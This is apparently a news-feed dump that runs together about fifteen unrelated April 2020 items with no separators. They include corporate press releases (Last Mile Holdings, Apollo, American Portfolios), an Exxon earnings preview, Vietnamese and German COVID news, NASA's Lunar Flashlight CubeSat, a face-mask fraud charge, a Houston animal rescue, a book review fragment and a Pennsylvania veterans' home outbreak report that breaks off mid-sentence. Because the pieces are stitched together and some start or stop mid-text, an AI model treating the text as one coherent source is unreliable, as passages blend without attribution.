Holdings Last Mile Holdings (TSXV: MILE; OTC: AZNVF), formerly OjO Electric, is one of the largest micro-mobility companies in the U.S., offering the broadest produc suite in the industry. Last Mile has a portfolio of exclusive, long-term contracts to operate shared mobility systems at 35 colleges and 45 municipalities under the OjO and Gotcha brands. The acquisition of Gotcha in the first quarter of 2020 provides an expansive growth pipeline and a portfolio of products including e-bikes, e-scooters, e-trikes, and electric seated scooters. For more information, visit lastmile.holdings. About Gotcha Mobility Gotcha is a shared electric mobility company dedicated to providing innovative products and technologies that get people out of single-occupancy cars and safely onto efficient, sustainable micro-transit products. The company operates e-bikes, e-scooters, seated scooters, and e-trikes as transportation solutions tailored to cities and universities across the US. Gotcha empowers communities to lead happier, more productive lives through the transformative power of affordable, accessible micro-transit. For more information, visit ridegotcha.com. Cautionary Statement Regarding Forward-Looking Information This news release includes certain "forward-looking statements" and "forward-looking information" under applicable Canadian securities legislation that are not historical facts. Forward-looking statements involve risks, uncertainties, and other factors that could cause actual results, performance, prospects, and opportunities to differ materially from those expressed or implied by such forward-looking statements. Forward-looking statements in this news release include, but are not limited to, statements with respect to: MILE and MILE's business and prospects and the Company's objectives, goals or future plans, including the planned deployment of its mobility units; and the business, operations, and management of the Company. Forward-looking statements are necessarily based on a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties and other factors which may cause actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: the ability of MILE to meet its deployment targets, access to sufficient mobility units, meeting the requirement of the permits granted to MILE, general business, economic and social uncertainties; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; delay or failure to receive board, shareholder or regulatory approvals; those additional risks set out in the Company's public documents filed on SEDAR at www.sedar.com; and other discussed in this news release. Accordingly, the forward-looking statements discussed in this release, may not occur and could differ materially as a result of these known and unknown risk factors and uncertainties affecting the companies. Although the Company believes that the assumptions and factors used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all. Except where required by law, the Company disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events, or otherwise. Reader Advisory Neither the TSX-V nor its Regulation Services Provider (as that term is defined in the policies of the TSX-V) accepts responsibility of the adequacy or accuracy of this release. SOURCE Last Mile Holdings Ltd. [ Back To TMCnet.com's Homepage ] MBABANE Inspiring. The well-known DJ from the capital city , who goes by the name of Bloss, is one of those who believe in the spirit of helping each other as he has a foundation mandated to assist the less fortunate. Joy of the nation foundation is seeking assistance as they are on a campaign of raising essential needs, which include food parcels and clothing to name a few, for the less privilege. Foundations In an interview with Bloss, he said he was inspired by his background and the environment he was in. Growing up surviving each day is how some of us get by. There are a lot of people out there who need help. It might be something small but it will go a long way, he said. He went on to share his plans about the foundation, which he believes would change peoples lives. We want to go as far as helping the government in terms of school fees and uniforms, he said. The crowd puller, pleaded with the public to help make his vision come true. He also said he was aware of the current situation and hopes they will be able to distribute after the partial lockdown. COVID-19 is a serious issue that has affected a lot of people. During this period most people really need our help; we also understand that we have to support the government by taking all necessary health precautions. Movements We will resume with our movements as soon as the situation at hand becomes at ease, he said. He went on to plead with the nation to donate with anything they can share with the less privileged. It takes one good act to heal the nation. We are appealing to the nation, they can donate anything, it can be food parcels or clothing, it will really mean a lot. We will then arrange ways to handout the items, he added. Those who would like to help, can call 768 23 542 or 7812 6806 NEW YORK, April 27, 2020 (GLOBE NEWSWIRE) -- Apollo Global Management, Inc. (APO) (together with its consolidated subsidiaries, Apollo or the Firm) today announced the appointment of renewable energy industry veteran John MacWilliams as an Operating Partner. MacWilliams will focus on the Firms infrastructure and natural resources efforts, providing insight to these platforms and portfolio companies on energy transition, environmental, social and governance issues (ESG) and sustainability matters. MacWilliams brings more than three decades of finance and investment experience to the Apollo platform. In addition to his previous leadership roles at JPMorgan Chase and Goldman Sachs, MacWilliams served as Associate Deputy Secretary and Chief Risk Officer of the U.S. Department of Energy in the Obama Administration. He earned a J.D. from Harvard Law School, an M.S. from Massachusetts Institute of Technology, and a B.A. from Stanford University. John has extensive experience in infrastructure and energy finance. Having him on our investment team to work with our professionals and portfolio companies we believe will be extremely valuable, and underscores the Firms commitment to ESG, said Geoffrey Strong, co-lead of Apollos infrastructure strategies. Joining Apollos infrastructure team comes at a pivotal time when countries across the globe recognize the urgent need to build, repair and enhance the worlds infrastructure, MacWilliams said. With extensive resources, relationships and expertise, Apollo is well positioned to play a leading role in infrastructure investments. I look forward to working with the team to seek to identify attractive opportunities that are environmentally responsible and create value for portfolio companies. In addition to the appointment of MacWilliams, Jeff Hunter and Peter Ford have also joined as Senior Advisors to the Apollo infrastructure team. Hunter is an energy executive with 25 years industry experience and expertise in renewables. Ford has 25 years of experience operating and investing in the port, maritime and logistics industry. The Firm also hired David Cohen as a Principal, who joins from Goldman Sachs where he spent 12 years in its Merchant Banking Division investing on behalf of its infrastructure private equity funds. Story continues Continuing to build our infrastructure resources further strengthens our franchise and enables us to pursue investment opportunities, including those driven by the current market dislocation. Many fundamentally strong infrastructure assets face liquidity issues from the current crisis, including demand driven transport assets such as airports and toll roads. We believe the value-focused, disciplined approach of investing at Apollo will position us well to execute on these infrastructure opportunities, said Dylan Foo, co-lead of Apollos infrastructure team. About Apollo Infrastructure Since the Firms inception in 1990, Apollo-managed funds have invested more than $20 billion in infrastructure-related opportunities across multiple market cycles through credit, private equity, and real asset strategies. Apollos infrastructure business focuses primarily on opportunities in Communications, Midstream Energy, Transportation, and Power & Renewables (including Wind and Thermals). The business is led by Senior Partners Dylan Foo and Geoffrey Strong, supported by a dedicated team of infrastructure professionals. About Apollo Apollo is a leading global alternative investment manager with offices in New York, Los Angeles, San Diego, Houston, Bethesda, London, Frankfurt, Madrid, Luxembourg, Mumbai, Delhi, Singapore, Hong Kong, Shanghai and Tokyo. Apollo had assets under management of approximately $331 billion as of December 31, 2019 in credit, private equity and real assets funds invested across a core group of nine industries where Apollo has considerable knowledge and resources. For more information about Apollo, please visit www.apollo.com . Contact Information Apollo Global Management For investors please contact: Gary M. Stein Head of Investor Relations Apollo Global Management, Inc. (212) 822-0467 gstein@apollo.com Ann Dai Investor Relations Manager Apollo Global Management, Inc. (212) 822-0678 adai@apollo.com For media inquiries please contact: Joanna Rose Global Head of Corporate Communications Apollo Global Management, Inc. (212) 822-0491 jrose@apollo.com Private hospitals in Rajasthan have demanded the release of pending dues under the state's flagship health insurance scheme, saying it would be difficult for them to operate if these are not cleared. They said the government is yet to clear around Rs 300 crore under the Bhamashah Swasthya Bima Yojna (BSBY), which ensures free treatment to BPL families at private hospitals. Claims under the scheme are settled by a partner insurance company. The association representing the hospitals has also initiated a social media campaign for the recovery of dues. Reacting to the issue, the state authorities said the private hospitals are pressuring the government at a time when they are busy dealing with the coronavirus outbreak. The association said about 600 hospitals are on the verge of closure and over 50,000 employees will face unemployment if the government did not release the dues. The issue surfaced after state Health Minister Dr Raghu Sharma said recently in a statement that the scheme is functioning in a robust manner. The association representatives said due to the non-payment of dues several hospitals are not able to pay salaries to their employees. About Rs 300 crore has not been paid to private hospitals under the BSBY for the past several months. We have written to the authorities to clear the dues, failing which hospitals will face operational crisis during the fight against coronavirus, Vishesh Vyas, vice-president of the Rajasthan Private Hospitals Association told PTI. He said over one lakh appeals in claim settlement disputes filed by private hospitals against insurance companies are yet to be disposed of. Vyas said the rules against private hospitals are strict whereas the authorities are lenient on the partner insurance company. A Jodhpur-based private hospital owner said their payment is pending since November last year. How will we pay salary to our staff under the crisis. We are working with zeal in the fight against coronavirus but the government should understand the issue, the owner said. Meanwhile, the authorities said the private hospitals are pressuring government when it is hard pressed in the fighting with a pandemic. They are mounting pressure on the government. The claims will be settled soon as our teams are mostly busy in dealing with COVID-19 right now, Additional Chief Secretary (Health) Rohit Kumar Singh said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Exxon Mobil Corporation XOM is set to report first-quarter 2020 results on May 1, before the opening bell. In the last reported quarter, the company came up with earnings of 41 cents per share that missed the Zacks Consensus Estimate of 44 cents due to weaker margins in the refining and chemical business. Notably, ExxonMobil missed earnings estimates twice in the last four reported quarters, delivering an average negative surprise of 4.21%, as shown in the chart below. Exxon Mobil Corporation Price and EPS Surprise Exxon Mobil Corporation Price and EPS Surprise Exxon Mobil Corporation price-eps-surprise | Exxon Mobil Corporation Quote Lets see how things have shaped up prior to the announcement. Trend in Estimate Revision The Zacks Consensus Estimate for first-quarter earnings of 4 cents has seen one upward revision and six downward movements in the past 30 days. The figure suggests a year-over-year decline of 92.7%. Further, the Zacks Consensus Estimate for revenues is pegged at $53.8 billion, indicating a decline of 15.4% from the year-ago reported figure. Factors to Note Weak global energy demand owing to the coronavirus outbreak mostly led oil prices to trade in the bearish territory, especially in the last two months of the March quarter. The last month saw the lowest price in first-quarter 2020 since OPEC and Russia failed to agree on how much oil production to cut amid the pandemic. Thus, weak crude prices are likely to have hurt ExxonMobils upstream operations in the first quarter, in both the international and domestic market. Notably, the consensus estimate for the companys earnings from Non-U.S. upstream operations is pegged at $1,136 million, suggesting a decline from $2,780 million in the year-earlier quarter. Moreover, the Zacks Consensus Estimate for the firms bottom line from domestic upstream operations is pinned at a loss of $461 million against a profit of $96 million in the year-earlier quarter. However, for worldwide daily refinery throughput, the consensus estimate is pegged at 4,076 thousand barrel per day (MBbl/D), suggesting an increase from 3,886 MBbl/D in the year-ago quarter. Higher throughput is likely to have aided the companys downstream operations in the quarter under review. Story continues Earnings Whispers Our proven model does not conclusively predict an earnings beat for ExxonMobil this time around. The combination of a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) increases the chances of an earnings beat. That is not the case here as you will see below. Earnings ESP: The companys Earnings ESP is 0.00% as both the Most Accurate Estimate and the Zacks Consensus Estimate are pegged at 4 cents per share. You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. Zacks Rank: ExxonMobil currently carries a Zacks Rank #3. Stocks That Warrant a Look Though an earnings beat looks uncertain for ExxonMobil, here are a few firms that you may want to consider on the basis of our model. These have the right combination of elements to post an earnings beat in the upcoming quarterly reports: Viper Energy Partners LP VNOM has an Earnings ESP of +63.08% and is a Zacks #3 Ranked player. The company is scheduled to release first-quarter results on May 4, after the closing bell. You can see the complete list of todays Zacks #1 Rank stocks here. Concho Resources Inc. CXO has an Earnings ESP of +3.48% and a Zacks Rank of 3. It is scheduled to report first-quarter results on Apr 30, after the closing bell. Laredo Petroleum, Inc. LPI has an Earnings ESP of +2.50% and a Zacks Rank #3. The firm is scheduled to release first-quarter earnings on May 6, after the closing bell. The Hottest Tech Mega-Trend of All Last year, it generated $24 billion in global revenues. By 2020, it's predicted to blast through the roof to $77.6 billion. Famed investor Mark Cuban says it will produce ""the world's first trillionaires,"" but that should still leave plenty of money for regular investors who make the right trades early. See Zacks' 3 Best Stocks to Play This Trend >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Exxon Mobil Corporation (XOM) : Free Stock Analysis Report Concho Resources Inc. (CXO) : Free Stock Analysis Report Viper Energy Partners LP (VNOM) : Free Stock Analysis Report Laredo Petroleum, Inc. (LPI) : Free Stock Analysis Report To read this article on Zacks.com click here. Here are todays leading news stories: Society -- Vietnam did not confirm any new cases of novel coronavirus disease (COVID-19) on Tuesday morning. The countrys tally is still at 270, with 222 having recovered. -- The Peoples High Court in Hanoi on Monday upheld the life sentence for former Minister of Information and Communications Nguyen Bac Son for receiving US$3 million in bribes to facilitate the scandalous MobiFone-AVG deal. -- A traffic police officer in Nha Trang City, located in the south-central province of Khanh Hoa, has been suspended for one month after he was previously accused of asking a woman who was pulled over for a traffic violation to have sex with him in mid-April. -- A 56-year-old man who was found dead on a passenger bus traveling from Hanoi to north-central Nghe An Province on Monday tested negative for the novel coronavirus, officials said. -- More than 180 Russian citizens who were stranded in Vietnam due to the COVID-19 pandemic were flown home from Cam Ranh International Airport in the south-central province of Khanh Hoa on Monday. -- Police in the northern province of Tuyen Quang are investigating the cause of death of a six-year-old boy whose body was found with bruises on his neck. His mother has exhibited signs of mental illness. -- The grand opening day of the new Mien Dong (Eastern) Bus Terminal in District 9, Ho Chi Minh City, once scheduled for late April 2020, has been postponed until the COVID-19 pandemic is under complete control in Vietnam. Business -- Vietnams export revenue from agro-forestry-fisheries products is estimated at US$2.9 billion in April, down 16.9 percent year-on-year, the Ministry of Agriculture and Rural Development has reported. Education -- All students of the Vietnam National University-Ho Chi Minh City are slated to go back to school on May 18, while the schools dormitory will be reopened on May 11. World News -- The novel coronavirus has infected over 3.06 million people and claimed more than 211,500 lives around the world as of Tuesday morning, according to statistics. About 922,200 people have recovered from COVID-19. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Major gaps in ride-hailing regulations do little to protect vulnerable people, Photo: Le Toan Most recently, a rider wearing the uniform of Vietnamese transportation technology startup beGroup, which operates the Be ride-hailer app, was accused of raping a homeless woman. At the District 5 police in Ho Chi Minh City, the rider confirmed that he borrowed the bike and Be account of his friend, who had returned to his hometown in the Central Highlands region, to earn money during the pandemic. The rider was accused of attempted rape and beating the woman with a screwdriver in an alleyway on April 18. The charge was brought against him by a witness who interrupted the alleged act. The alleged assault drew nationwide outrage, with people taking to social networks to call it depraved and sick, with many demanding heavier penalties citing the victims disability and reduced capacity to defend herself. Others called for a general boycott of beGroup. Nguyen Viet Linh, PR director of beGroup told VIR, The licence plate of the attacker does not match any vehicle registered on our system. The company permanently locked the account of the driver who lent his account to be used in his absence. The company is co-operating with authorities to supply information to clarify the incident. The group reaffirms that its terms of use strictly prohibit drivers from either selling or lending their accounts to ensure the safety of passengers and the community. Be has issued strict punishments for violations, banning and blacklisting related accounts in order to prevent them from creating new accounts. It is not the first time that alleged incidents of harassment have related to ride-hailing. In May 2018, a GrabBike driver in Hanoi was accused of verbally harassing a pre-teen girl he was hired to take to school. After investigating, the Tay Ho district police office could not bring charges against the driver, but imposed a VND200,000 ($8.80) fine for offending the girls dignity through improper words. A representative of Grab Vietnam visited the girl at her home, expressing the companys full regret over the incident and offered psychological assistance and assigned a driver to ferry the girl to school until she recovers from the distress. Grab banned the driver from using the app following the accusation. Although the culpability of ride-hailers was not brought to question by official agencies for the incidents, there have been public denunciations and calls for boycott after every case. While the law generally ascribes heavy responsibility to the employer for acts employees commit in the course of executing their duties, it remains a question how much employers can do to stop them from willfully committing atrocities, knowing full well that they go against the law and company policy especially when the context of employment can be argued to be largely immaterial for the crime. In the case of the alleged assault of the woman in Ho Chi Minh City, there was no apparent driver-passenger relationship in evidence. The matter is further muddied by the uncertain relation between beGroup and the rider, who used the service in full knowledge that he was not supposed to. It highlights the need for stronger oversight over who uses the software, but it is difficult to claim the crime was a foreseeable consequence of this lapse. There is an initiative to better formalise relations between driver-partners and ride-hailing service providers by signing standardised labour contracts, with great expectations that this would improve the safety of passengers and the community. We are looking forward to regulations on signing labour contracts with its partners and has been co-operating with the authorities to complete the legal framework guiding our operations. However, the lack of labour contracts is a general problem for the sector, the beGroup representative said. According to law firm LLA Legal, labour contracts are of urgent need in the sector as they not only ensure the rights of drivers but also clarify standards for payment, working conditions, as well as the rights and obligations of the parties. While there is Decree No.10/2020/ND-CP dated January 17 on business and conditions for auto transport business, there is no legal framework specifically for tech-based motorbike taxis. Thus, we cannot assess the legality of a tech-based motorbike taxi like Be recruiting a rider, lawyer Lai Ngoc Thanh said. In Vietnam, motorbikes are still much more popular than cars, so a legal framework for tech-based motorbike taxis is essential to prevent unexpected incidents. However, a contract signed by both parties is thin protection against physical or verbal assault that carries a definitive element of intention and further deterrents may be required. It is difficult to say to what degree ride-hailing firms (or employers in general) can prevent employees from committing criminal acts that go against the terms of their employment. One possibility, said insiders, could be to extend oversight of the actual user of the driver software, for instance by installing a face recognition feature to verify the account is used by the registered driver. Ultimately, this is no more protection than the few pages of paper of a labour contract, but having a picture taken of ones face every time before giving someone a ride (or even randomly on the route) could give both drivers and passengers a sense of being observed to keep them in line. Close to 100 animals ranging from dogs, pigs to parakeets were rescued from a southeast Houston home Monday after a woman surrendered them to police and admitted she was a flea market breeder. Flea markets can sometimes serve as hubs for unethical breeders to sell dogs and other animals that are typically riddled with diseases to unsuspecting shoppers, according to the American Society for the Prevention of Cruelty to Animals. The animals are typically purchased from puppy mills and lack proper veterinary care, basic necessities such as food and water, and commonly fall ill weeks or days after purchase. ON HOUSTONCHRONICLE.COM: Wildlife Center of Texas sees spike in injured and orphaned animals during pandemic A Houston woman said she and her husband were breeding the animals to sell at flea markets, but after he passed away last March she became "overwhelmed with the illegal business," officials with the Houston Humane Society said in a news release. BARC officers rescued 95 animals from the home located at 710 Ogilvie Street, including 15 potbelly pigs, 75 parakeets, two guinea pigs and three Chihuahuas. The animals were transported to the Houston Humane Society where they will be given medical treatment and later adopted out. Three female pigs are pregnant and expecting any day now, Angelina Saucedo, marketing manager for the HHS said. The animals were living among each other in an outside area that officers described as "very dangerous, inhumane and extremely filthy." Feces and urine covered the small space the animals were housed in and they were roaming the area freely, adding to an increased risk of spreading disease, Saucedo said. HOUSTON STRONG: Local shelter opening free, curbside pet food pantry following COVID-19 outbreak HHS medical staff are evaluating the animals, but none of them are severely injured. The woman will not face any charges of cruelty or breeding because she voluntarily surrendered them, Saucedo said. The HHS operates solely on donations to fund its operations. Due to the pandemic, the shelter is operating with fewer staff and strained resources. To help the shelter and the animals seized in this rescue, consider donating. To report animal cruelty, neglect or abandonment, contact the Harris County Animal Cruelty Task Force at 927paws.org or 832-927-PAWS. Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site,houstonchronicle.com. | rebecca.hennes@chron.com Shoppers out and about in Berlin as the German economy moves out of partial lockdown from the Corona Virus. Wlimersdorfer Strasse, Charlottenburg. - Craig Stennett for the Telegraph Health authorities in Germany on Tuesday urged people to stay at home as much as possible after a key measurement of the coronavirus outbreak briefly rose above government targets. The reproduction factor the average number of people each infected passes the virus on to briefly rose to 1 on Monday evening before falling back to 0.9 on Tuesday. We don't want the number of cases to increase again. We don't want the health system to be overwhelmed. We don't want more people to die from Covid 19, said Prof Lothar Wieler of the Robert Koch Institute, Germanys infectious disease centre. We must stick to the contact restrictions, keep at least 1.5 m apart and cover our mouths and noses on public transport and in shops, he appealed to the public. Angela Merkel identified the reproduction factor, also known as R0, as a crucial factor in deciding to lift Germanys lockdown, and government scientists have declared keeping it below 1 as a key target. But Prof Wieler downplayed the brief rise, which he said was within normal fluctuation rates. The total number of infections in Germany has fallen over recent days, he stressed. It is important not to take the number out of context, because the reproduction factor does not tell you the actual number of infections, he said. In what was seen as a major success in the fight against coronavirus, the German reproduction factor fell to 0.7 last week. Since then it has generally been steady at around 0.9. Germany began to lift its lockdown last week as shops were allowed to reopen. Mrs Merkel has publicly criticised Germanys regional governments for lifting lockdown measures too quickly, but government scientists said it is too early for this to have caused the brief rise in the reproduction factor. The figure is based on forecast estimates of infection rates because there is a lag of 10-14 days in new infections being detected. Story continues There is speculation in Germany the rise may have been caused by people socialising over Easter weekend. But Prof Wieler stressed the actual rise was very small. The R0 only reached 0.96 on Monday but the figure was rounded up to the nearest decimal place. Separately, Germany could introduce tickets for access to shopping areas to prevent overcrowding under proposals reportedly put forward by business leaders. The German Chamber of Commerce and Industry has reportedly submitted proposals for an app-based system that would issue timed tickets for people to enter pedestrianised shopping streets, shopping centres and hotels. Washington, April 28 : The US space agency is planning to send a small satellite about the size of a briefcase -- also known as a CubeSat - which will use lasers for the first time to detect naturally occurring surface ice believed to be at the bottom of craters on the Moon that have never seen sunlight. Called Lunar Flashlight, it will also be the first planetary spacecraft to use a "green" propellant, a new kind of fuel that is safer to transport and store than the commonly used spacecraft propellant hydrazine, NASA said on Monday. "A technology demonstration mission like Lunar Flashlight, which is lower cost and fills a specific gap in our knowledge, can help us better prepare for an extended NASA presence on the Moon as well as test key technologies that may be used in future missions," said John Baker, Lunar Flashlight project manager at NASA's Jet Propulsion Laboratory in Southern California. Over the course of two months, Lunar Flashlight will swoop low over the Moon's South Pole to shine its lasers into permanently shadowed regions and probe for surface ice. Found near the North and South Poles, these dark craters are thought to be "cold traps" that accumulate molecules of different ices, including water ice. The molecules may have come from comet and asteroid material impacting the lunar surface and from solar wind interactions with the lunar soil. "The Sun moves around the crater horizon but never actually shines into the crater," said said Barbara Cohen, principal investigator of the mission at NASA's Goddard Space Flight Center in Greenbelt, Maryland. "Because these craters are so cold, these molecules never receive enough energy to escape, so they become trapped and accumulate over billions of years." Lunar Flashlight's four-laser reflectometer will use near-infrared wavelengths that are readily absorbed by water to identify any accumulations of ice on the surface. Should the lasers hit bare rock as they shine into the South Pole's permanently shadowed regions, their light will reflect back to the spacecraft, signaling a lack of ice. But if the light is absorbed, it would mean these dark pockets do indeed contain ice. The greater the absorption, the more widespread ice may be at the surface, NASA said. The mission is detailed in a new paper published in the IEEE Aerospace and Electronic Systems Magazine. Lunar Flashlight will be one of 13 secondary payloads aboard the Artemis I mission, the first integrated flight test of NASA's Deep Space Exploration Systems, including the Orion spacecraft and Space Launch System (SLS) rocket. Under the Artemis program, astronauts and robots will explore more of the Moon than ever before. Robotic missions begin with commercial lunar deliveries in 2021, humans return in 2024, and the agency will establish sustainable lunar exploration by the end of the decade. They wanted $4 million for a stockpile of face masks, but prosecutors say that the protective gear advertised by two Southern California men did not exist, and that they went as far as to put fake 3M labels on empty boxes. Now, the two men, Donald Allen, 62, of Riverside, and Manuel Revolorio, 37, of Rancho Cucamonga, have been charged with conspiracy to commit wire fraud, according to a criminal complaint that was unsealed on Monday in U.S. District Court in Brooklyn. Prosecutors said that Mr. Allen and Mr. Revolorio misrepresented to customers that their company, International Commerce and Investment Group, had been supplying health care providers with personal protective equipment since 2014, and that it had access to millions of face masks, both surgical and N95 respirators. One of those customers tipped off federal agents, who then arranged to buy masks from the two men, according to the authorities. Mr. Allen and Mr. Revolorio created the impression that they had other customers lined up to pressure a buyer to wire them $4 million, the authorities said. HOLBROOK, NY / ACCESSWIRE / April 28, 2020 / American Portfolios Financial Services, Inc. (AP)-a privately-held, independent broker/dealer which provides business solutions and support to financial advisors throughout the country-recently launched its Virtual 2020 Connections Tour, a weekly series of Web-hosted events featuring prominent leaders from within the financial services industry. "Despite the many changes that coronavirus (COVID-19) has brought about, AP resolved to assure its valued family of affiliated investment professionals that it remains steadfast in its commitment to offer the same-if not, even better-quality and level of service they have come to expect over the years," states Vice President of New Business Development and Advisor Relations David Molter. "Upholding social distancing guidelines in response to the COVID-19 pandemic, we cancelled our in-person events and put together a robust weekly meeting schedule, providing affiliated colleagues with a wide array of value-added virtual presentations." Deemed an essential business by the Department of Homeland Security, AP took swift measures to ensure the safety of its staff and affiliated colleagues, while also ensuring that broker/dealer operations continued to function normally, albeit in a remote working environment. While AP has heretofore held many successful in-person Connections Tours in the past, the firm is already receiving positive and enthusiastic feedback for its transition to a virtual tour. Webinars are held daily, Monday through Friday, hosted by AP's new business development team and supported by key staff, with appearances by the firm's valuable focus partners and fellow investment professionals, including members of the American Portfolios Advisor Council (APAC) peer advocacy group. Featuring topics that are most relevant to financial advisors and their businesses presently and moving forward, the weekly webinars included in the Virtual 2020 Connections Tour comprise: 1) the business continuity webinar covering topics around the state of the firm and markets during the COVID-19 pandemic, what resources are in place to ensure operational functionality and service quality within the firm and the branches of investment professionals, and other items in response to incoming information and feedback; 2) the sales ideas webinar, featuring Vice President of National Sales Ken Aulbach, along with valued focus partners, who engage in discussions on the markets, sales ideas and products; 3) the technology trainings webinar, featuring Director of Practice Management Corey Brodsky and other home office staff, which touches upon technology offerings that help advisors stay efficient while working remotely; 4) the practice management webinar-also with featured speaker Brodsky and business partners-providing updates on industry changes, marketing ideas and other practice management tools; and the APAC peer-to-peer webinar providing an interactive exchange among fellow AP colleagues around what they are doing to stay operational and efficient, with information relevant to specific practices ranging from sole proprietors, teams/ensembles and alliances to multi-generational structures and partnerships. About Us Headquartered in Holbrook, N.Y., American Portfolios Financial Services, Inc. (APFS) is a full-service, independent broker/dealer and member firm of FINRA and SIPC, offering a complete range of financial services, including personal financial and retirement planning, securities trading, mutual funds, access to investment research, long-term care planning, insurance products and tax-free investing. Fee-based asset management is offered through its sister subsidiary, American Portfolios Advisors, Inc., (APA), an SEC Registered Investment Advisor. Both entities, along with technology entity American Portfolios Advisory Solutions, LLC, collectively reside under the legal entity American Portfolios Holdings, Inc. (APH). Full-service securities brokerage is available through a clearing firm relationship with Pershing, LLC, a BNY Mellon firm, the securities of which are held on a fully disclosed basis. The company currently supports 839 independent investment professionals-inclusive of registered assistants, along with non-registered associates, located in 394 branch locations throughout the nation. It was named Broker-Dealer of the Year* (Division III) by Investment Advisor magazine for five consecutive years (2015-2019); a wealthmanagement.com 2019 Industry Award Finalist in the category of Enhanced Customer Service Support**; one of the Best Companies to Work for in the state of New York for five consecutive years (2016-2020) by the New York State Society for Human Resources Management (NYS-SHRM) and the Best Companies Group (BCG); and one of the Top Long Island Workplaces for 2018 and 2019 by Newsday. * Based on a poll of registered representatives conducted by Investment Advisor magazine. Broker/dealers rated highest by their representatives are awarded "Broker/Dealer (B/D) of the Year." ** Wealthmanagement.com Industry Award finalists are selected by a panel of independent judges made up of subject matter experts in the industry. Award is based on support provided to AP's affiliated people and does not reflect public customers nor their account performance. Contacts Melissa Grappone 4250 VETERANS MEMORIAL HWY. | SUITE 420E HOLBROOK, N.Y. 11741 VP of Mktg. & Corp. Comm. Work: 631.439.4600, ext. 108 mgrappone@americanportfolios.com SOURCE: American Portfolios Financial Services, Inc. View source version on accesswire.com:https://www.accesswire.com/587382/American-Portfolios-New-Business-Development-Team-Launches-Virtual-2020-Connections-Tour Bollywood actor Irrfan Khan has been hospitalised after his health deteriorated. The actor needed immediate medical attention and was admitted to Kokilaben Dhirubhai Ambani hospital in Mumbai. AajTak reported that the 52-year-old actor is in ICU and his wife Sutapa Sikdar and two sons are with him. Khan was diagnosed with neuroendocrine tumour some time back, and his health has been fragile since. As a result, he has been under medical supervision. The actor lost his mother on Saturday but couldn't travel to Jaipur, where his mother stayed owing to the nationwide lockdown. The actor was last seen in Angrezi Medium, which hit theatres right before cinema halls were shut down due to the coronavirus pandemic. Even though the film marked Khan's return to the Bollywood after the illness, the actor couldn't attend the film promotions event as he kept ill. Instead, his voice note was played to address the crowd in such events. He talked about "unwanted guests" in his body due to which he was unable to meet his fans and audience. But the life of the shop is frequently disrupted by history Charlot is thrown in prison by the Vichy regime, then called up to serve in the war effort in mainland France. Once the war is over, the Algerian revolution will force Charlot out of Algeria. Adimi alternates entries from an invented diary by Charlot with a second, contemporary plotline, in which a student has been hired to clear out the bookstore after the government, which kept it open for decades, decides to close it, in a present-day Algiers infused with a melancholy self-consciousness, that hypnotic blue that obscures an uneasy nation. The writing loses direction at times; characters appear who were never introduced, along with details that are unnecessary and uninteresting. Yet the truly potent effect of the book is that by taking on literary history from the underbelly of the French nation from the colony just across the sea Adimi confronts us with episodes that are simply never spoken of in France: the grand celebration of the end of World War II, in May 1945, which, in Algeria, turned into a massacre by the colonial administration; another massacre, this time in Paris, in 1961, of Algerian protesters, who were thrown into the Seine by French police officers. It is in unhappy nations, we are meant to understand, that history is a relentless companion. Charlot left something beautiful here, something bigger than everything that was going on outside, a young Algerian says in 2017, as the shop is being shut down. The state-run Southeastern Veterans' Center in Chester County suffered a devastating outbreak of coronavirus cases in spring 2020 that so far has taken nearly 30 lives. Read more State and local officials are calling for an immediate investigation into how a Chester County nursing home for veterans has responded to the coronavirus pandemic after nearly 30 people have died there. State Sen. Katie Muth, a Democrat representing Chester County, and the countys coroner, Christina Vandepol, issued a statement Tuesday condemning the state-run Southeastern Veterans Center (SEVC) and its management. They were joined by State Auditor General Eugene DePasquale, who called on the state Department of Military and Veterans Affairs (DMVA) and state Department of Health to release more information about the number of coronavirus cases and deaths at SEVC and the five other state-run veterans homes. The sheer number of deaths at the Veterans Center in such a short period of time warrants an immediate investigation, Vandepol said. We have no idea what is going on there or how this outbreak is being handled. Since the beginning of April, at least 26 people have died from COVID-19 at the facility, located in East Vincent Township 13 who tested positive for the virus and 13 listed as presumed positive, the coroner said. Families of residents complain they havent been told by staff how extensively the coronavirus has spread through SEVC, with several saying they first learned that residents had died there from an Inquirer report this month, that first revealed at least nine deaths from COVID-19. Since then, the death toll has tripled. The only source of information on the deaths has been what the facility directly has reported to Vandepol, and an internal DMVA report obtained by The Inquirer. READ MORE: Its a sinking ship: COVID-19 deaths triple at state-run vets nursing home in Chester County as families clamor for information Vandepol said Tuesday that conflicting information was provided to her office about whether all 26 people who died in the facility were tested for COVID-19. The lack of information has led to discrepancies in reporting both positive cases and death counts. Muth, in her statement Tuesday, said multiple employees at the facility reached out to her office after the recent Inquirer story about the spike in COVID-related deaths at the facility. Muth said SEVC staff members have provided her office with disturbing details about the care at the 283-bed facility, including cases of residents with roommates waiting hours for the body of a veteran who died to be removed from the room, improper quarantining of infected residents, and supervisors instructing staff to change or edit medical charts and records. Hearing their stories and struggles brought me to tears," Muth said. "This isnt just a lack of supplies or staffing shortages, this is healthcare providers crying out for help because they feel their patients are at extreme risk because of a failing protocol. HELP US REPORT: Are you a health care worker, medical provider, government worker, or patient at Southeastern Veterans Center or another facility? Rohan Blackwood, the commandant leading the facility, has not responded to requests for comment. Joan Nissley, Department of Military and Veterans Affairs communications director, has not responded over the past five days to numerous emails and phone calls. DePasquale, the state auditor general, said he plans to follow up on a 2016 audit of the six DMVA homes that found problems with admission procedures and how homes handled complaints. He said Tuesday he wants DMVA to create a system for families to register their concerns about the care given to their relatives in the state homes. Our veterans and their families deserve to have a full and complete picture of whats happening inside Pennsylvanias veterans homes, DePasquale said. READ MORE: Coronavirus kills 10 at a state-run vets home, National Guard arrives to help Nadine Bean, the daughter-in-law of a 